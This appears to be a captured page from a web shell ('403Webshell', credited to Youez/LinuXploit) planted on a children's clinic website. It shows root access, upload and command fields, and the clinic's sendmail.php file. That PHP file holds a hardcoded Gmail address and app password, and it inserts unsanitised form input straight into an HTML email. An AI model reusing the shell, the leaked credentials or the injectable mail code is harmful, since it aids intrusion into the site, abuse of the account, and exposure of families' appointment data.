403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/anandbalchikitsa.in/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/anandbalchikitsa.in/html/sendmail.php
<?php
// 1. Import PHPMailer classes into the global namespace
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

// 2. Manually load each required class file
// Adjust the path below if your files are in a different folder
require 'phpmailer/Exception.php';
require 'phpmailer/PHPMailer.php';
require 'phpmailer/SMTP.php';

$mail = new PHPMailer(true);

try {
    
    $parent_name = $_REQUEST['parent_name'];
    $phone = $_REQUEST['phone'];
    $child_name = $_REQUEST['child_name'];
    $child_age = $_REQUEST['child_age'];
    $service = $_REQUEST['service'];
    $message = nl2br($_REQUEST['message']);

    // --- Gmail SMTP Server Settings ---
    $mail->isSMTP();                                            
    $mail->Host       = 'smtp.gmail.com';                       
    $mail->SMTPAuth   = true;                                   
    $mail->Username   = 'efbtechnology2026@gmail.com';                 // Your Gmail address
    $mail->Password   = 'sopftfnyumtbyojq';           // Your App Password
    $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;         
    $mail->Port       = 587;                                    

    // --- Sender & Recipient ---
    $mail->setFrom('efbtechnology2026@gmail.com', 'Anand Bal Chikitsa');
    $mail->addAddress('happyanand99@gmail.com');                 // Recipient's email

    $body = '<!DOCTYPE html>
        <html lang="en">
        <head>
        <meta charset="UTF-8"/>
        <meta name="viewport" content="width=device-width,initial-scale=1"/>
        <title>New Appointment Request</title>
        </head><body style="margin:0;padding:0;background-color:#f0fbf7;font-family:Segoe UI,Arial,sans-serif;">
        <table width="100%" cellpadding="0" cellspacing="0" border="0" style="background:#f0fbf7;padding:32px 16px;">
        <tr><td align="center">
        
        <!-- Card -->
        <table width="600" cellpadding="0" cellspacing="0" border="0" style="max-width:600px;width:100%;background:#ffffff;border-radius:20px;overflow:hidden;box-shadow:0 4px 24px rgba(13,59,94,0.10);">
        
            <!-- HEADER -->
            <tr>
            <td style="background:#0d3b5e;padding:36px 40px 28px;text-align:center;">
                <!-- Logo SVG -->
                <table cellpadding="0" cellspacing="0" border="0" style="margin:0 auto 16px;">
                <tr><td align="center">
                    <svg width="72" height="72" viewBox="0 0 120 120" xmlns="http://www.w3.org/2000/svg">
                    <circle cx="60" cy="60" r="58" fill="rgba(30,200,160,0.15)" stroke="#1ec8a0" stroke-width="2.5"/>
                    <circle cx="60" cy="43" r="20" fill="rgba(255,255,255,0.08)" stroke="#1ec8a0" stroke-width="2"/>
                    <rect x="52" y="35" width="16" height="16" rx="3" fill="#1ec8a0"/>
                    <rect x="48" y="39" width="24" height="8" rx="3" fill="#1ec8a0"/>
                    <path d="M40 63 Q27 63 21 52 Q15 41 27 35" fill="none" stroke="#1ec8a0" stroke-width="4" stroke-linecap="round"/>
                    <path d="M80 63 Q93 63 99 52 Q105 41 93 35" fill="none" stroke="#1ec8a0" stroke-width="4" stroke-linecap="round"/>
                    <circle cx="27" cy="34" r="7" fill="#1ec8a0"/>
                    <circle cx="93" cy="34" r="7" fill="#1ec8a0"/>
                    <path d="M60 63 Q60 88 46 97 Q37 104 37 114" fill="none" stroke="#b2f0e8" stroke-width="5" stroke-linecap="round"/>
                    <path d="M60 63 Q60 88 74 97 Q83 104 83 114" fill="none" stroke="#b2f0e8" stroke-width="5" stroke-linecap="round"/>
                    <ellipse cx="60" cy="114" rx="9" ry="7" fill="#1ec8a0"/>
                    </svg>
                </td></tr>
                </table>
                <h1 style="margin:0 0 6px;color:#ffffff;font-size:26px;font-weight:700;letter-spacing:-0.3px;">Anand Bal Chikitsa</h1>
                <p style="margin:0;color:#b2f0e8;font-size:11px;letter-spacing:2.5px;text-transform:uppercase;font-weight:600;">Children&rsquo;s Health Clinic</p>
            </td>
            </tr>
        
            <!-- ALERT BANNER -->
            <tr>
            <td style="background:#1ec8a0;padding:14px 40px;text-align:center;">
                <p style="margin:0;color:#ffffff;font-size:15px;font-weight:700;letter-spacing:0.2px;">
                &#128197; &nbsp;New Appointment Request Received
                </p>
            </td>
            </tr>
        
            <!-- BODY -->
            <tr>
            <td style="padding:36px 40px 30px;">
        
                <p style="margin:0 0 26px;color:#3a5a72;font-size:15px;line-height:1.75;">
                A new appointment request has been submitted through the website. Please find the details below and follow up at your earliest convenience.
                </p>
        
                <!-- DETAIL GRID -->
                <table width="100%" cellpadding="0" cellspacing="0" border="0">
        
                <!-- Parent + Phone -->
                <tr>
                    <td width="49%" valign="top" style="padding:0 6px 12px 0;">
                    <table width="100%" cellpadding="0" cellspacing="0" border="0" style="border-radius:12px;overflow:hidden;border:1.5px solid #c4f2e3;">
                        <tr><td style="background:#1ec8a0;padding:8px 14px;">
                        <span style="color:#fff;font-size:10px;font-weight:700;letter-spacing:1.2px;text-transform:uppercase;">Parent / Guardian</span>
                        </td></tr>
                        <tr><td style="background:#f0fbf7;padding:13px 14px;">
                        <p style="margin:0;color:#0d3b5e;font-size:15px;font-weight:700;">'.$parent_name.'</p>
                        </td></tr>
                    </table>
                    </td>
                    <td width="2%"></td>
                    <td width="49%" valign="top" style="padding:0 0 12px 6px;">
                    <table width="100%" cellpadding="0" cellspacing="0" border="0" style="border-radius:12px;overflow:hidden;border:1.5px solid #c4f2e3;">
                        <tr><td style="background:#1ec8a0;padding:8px 14px;">
                        <span style="color:#fff;font-size:10px;font-weight:700;letter-spacing:1.2px;text-transform:uppercase;">Phone / WhatsApp</span>
                        </td></tr>
                        <tr><td style="background:#f0fbf7;padding:13px 14px;">
                        <p style="margin:0;color:#0d3b5e;font-size:15px;font-weight:700;">'.$phone.'</p>
                        </td></tr>
                    </table>
                    </td>
                </tr>
        
                <!-- Child Name + Age -->
                <tr>
                    <td width="49%" valign="top" style="padding:0 6px 12px 0;">
                    <table width="100%" cellpadding="0" cellspacing="0" border="0" style="border-radius:12px;overflow:hidden;border:1.5px solid #b2d8e8;">
                        <tr><td style="background:#0d3b5e;padding:8px 14px;">
                        <span style="color:#b2f0e8;font-size:10px;font-weight:700;letter-spacing:1.2px;text-transform:uppercase;">Child&rsquo;s Name</span>
                        </td></tr>
                        <tr><td style="background:#f0fbf7;padding:13px 14px;">
                        <p style="margin:0;color:#0d3b5e;font-size:15px;font-weight:700;">'.$child_name.'</p>
                        </td></tr>
                    </table>
                    </td>
                    <td width="2%"></td>
                    <td width="49%" valign="top" style="padding:0 0 12px 6px;">
                    <table width="100%" cellpadding="0" cellspacing="0" border="0" style="border-radius:12px;overflow:hidden;border:1.5px solid #b2d8e8;">
                        <tr><td style="background:#0d3b5e;padding:8px 14px;">
                        <span style="color:#b2f0e8;font-size:10px;font-weight:700;letter-spacing:1.2px;text-transform:uppercase;">Child&rsquo;s Age</span>
                        </td></tr>
                        <tr><td style="background:#f0fbf7;padding:13px 14px;">
                        <p style="margin:0;color:#0d3b5e;font-size:15px;font-weight:700;">'.$child_age.'</p>
                        </td></tr>
                    </table>
                    </td>
                </tr>
        
                <!-- Service (full width, sunshine yellow) -->
                <tr>
                    <td colspan="3" style="padding:0 0 12px;">
                    <table width="100%" cellpadding="0" cellspacing="0" border="0" style="border-radius:12px;overflow:hidden;border:1.5px solid #ffe066;">
                        <tr><td style="background:#ffe066;padding:8px 14px;">
                        <span style="color:#5a3e00;font-size:10px;font-weight:700;letter-spacing:1.2px;text-transform:uppercase;">&#129657; Service Required</span>
                        </td></tr>
                        <tr><td style="background:#fffbe6;padding:13px 14px;">
                        <p style="margin:0;color:#3a2800;font-size:15px;font-weight:700;">'.$service.'</p>
                        </td></tr>
                    </table>
                    </td>
                </tr>
        
                <!-- Message (full width) -->
                <tr>
                    <td colspan="3" style="padding:0 0 4px;">
                    <table width="100%" cellpadding="0" cellspacing="0" border="0" style="border-radius:12px;overflow:hidden;border:1.5px solid #c4f2e3;">
                        <tr><td style="background:#0d3b5e;padding:8px 14px;">
                        <span style="color:#b2f0e8;font-size:10px;font-weight:700;letter-spacing:1.2px;text-transform:uppercase;">&#128172; Message / Symptoms</span>
                        </td></tr>
                        <tr><td style="background:#f7fdfc;padding:14px 16px;">
                        <p style="margin:0;color:#3a5a72;font-size:14px;line-height:1.75;">'.$message.'</p>
                        </td></tr>
                    </table>
                    </td>
                </tr>
        
                </table>
        
                <!-- DIVIDER -->
                <table width="100%" cellpadding="0" cellspacing="0" border="0" style="margin:28px 0 20px;">
                <tr><td style="border-top:1.5px solid #e0f8f0;font-size:0;">&nbsp;</td></tr>
                </table>
        
                <!-- META -->
                <table width="100%" cellpadding="0" cellspacing="0" border="0">
                <tr>
                    <td style="padding:3px 0;">
                    <span style="color:#8aabb8;font-size:12px;">&#128336; &nbsp;Submitted on:</span>
                    <strong style="color:#0d3b5e;font-size:12px;margin-left:6px;">'.date("d/m/Y").'</strong>
                    </td>
                </tr>
                <tr>
                    <td style="padding:3px 0;">
                    <span style="color:#8aabb8;font-size:12px;">&#127758; &nbsp;IP Address:</span>
                    <strong style="color:#0d3b5e;font-size:12px;margin-left:6px;">'.$_SERVER["REMOTE_ADDR"].'</strong>
                    </td>
                </tr>
                </table>
        
                <!-- CTA BUTTON -->
                <table width="100%" cellpadding="0" cellspacing="0" border="0" style="margin-top:30px;">
                <tr>
                    <td align="center">
                    <a href="#"
                        style="display:inline-block;background:#1ec8a0;color:#ffffff;text-decoration:none;padding:15px 40px;border-radius:50px;font-size:15px;font-weight:700;letter-spacing:0.4px;">
                        &#128222; &nbsp;Call Patient Now
                    </a>
                    </td>
                </tr>
                </table>
        
            </td>
            </tr>
        
            <!-- FOOTER -->
            <tr>
            <td style="background:#0d3b5e;padding:24px 40px;text-align:center;">
                <p style="margin:0 0 5px;color:#1ec8a0;font-size:13px;font-weight:700;letter-spacing:0.4px;">
                Anand Bal Chikitsa &mdash; Children&rsquo;s Health Clinic
                </p>
                <p style="margin:0 0 4px;color:#a8d4e8;font-size:12px;">
                &#128222; +91 98765 43210 &nbsp;&bull;&nbsp; &#128231; care@anandbalchikitsa.in
                </p>
                <p style="margin:14px 0 0;color:#4a7a8a;font-size:11px;line-height:1.5;">
                This is an automated notification from the website booking form.<br/>Please do not reply to this email.
                </p>
            </td>
            </tr>
        
        </table>
        <!-- /Card -->
        
        </td></tr>
        </table>
        </body>
        </html>';

    // --- Email Content ---
    $mail->isHTML(true);                                        
    $mail->Subject = 'New appointment booking';
    $mail->Body    = $body;
    $mail->AltBody = $body;

    $mail->send();
    echo 'Message has been sent successfully!';
} catch (Exception $e) {
    echo "Message could not be sent. Mailer Error: {$mail->ErrorInfo}";
}

Youez - 2016 - github.com/yon3zu
LinuXploit